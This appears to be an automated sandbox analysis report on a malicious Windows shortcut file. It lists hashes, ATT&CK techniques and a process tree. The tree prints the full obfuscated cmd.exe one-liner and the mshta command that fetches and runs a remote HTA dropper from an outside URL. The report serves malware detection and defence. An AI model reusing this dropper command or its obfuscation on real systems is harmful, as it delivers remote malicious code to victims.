a848f12f7fadd5b9b5544ce2d95f8d522e0f0c67194e20e4244fedc8038179be

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:09

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General

Target
DOC-GW6BPU.lnk
Size 2KB
Sample260803-qd5tcsaa35
SHA256 a848f12f7fadd5b9b5544ce2d95f8d522e0f0c67194e20e4244fedc8038179be
MD5 5177fcc12c03ed7b63920f726311811d
SHA1 af481b2c7081d2b1edefab71b67fc71e47085874
SHA512 eb59e80e058eaf2ff1e60db83c1c7062e6d4f1b7df2bf131d76e5df7f2bbd5c8c70aec97b0deac38389f8d91a576f1328b06d50fe04de6c477db7dad0f60dae4
TLSH
T1045158906BEA45D8F2FA9F32EDFE275186BB7D506DA0C68D0C90810D5822B05D5B3B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
576	cmd.exe
556	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 576 wrote to memory of 556	576	cmd.exe	85
PID 556 wrote to memory of 4876	556	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GW6BPU.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:576
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set bWxVQ=dbgpywhcooqdbg&&set ZcmB=nethzvrloclykqlnet&&set ZmRJx=datnsllsvsdfrixdat&&set dKmyY=dbgjxcwnthafozuqbpnedbg&&set jjWwB=netghuyahncjynet&&set qtAdf=76msc1v&&set mNAZD=yhivt&&set mtYi=yttava&&set pjC=datrvcxhenpnqbdat&&set pNoV=cstv&&set kits=lar2h&&set BkK=vqht7&&set YK=infihdiipinf&&set BnxpP=netlllokxtzeeqmkrlnet&&set piV=syshrihxdsqssys&&set PYFM=syspqbnrzelmdisys&&set SsRK=winhqoojmksysurwin&&set QW=ht@tps@:/@/b@o-@p@dff@i@[email protected]@a@t@/@h/e@sta@gio1.@ph@p?@r@=@360761@F157@9@4&&start /b !qtAdf:~2,2!!mNAZD:~1,1!!mtYi:~2,2! !QW:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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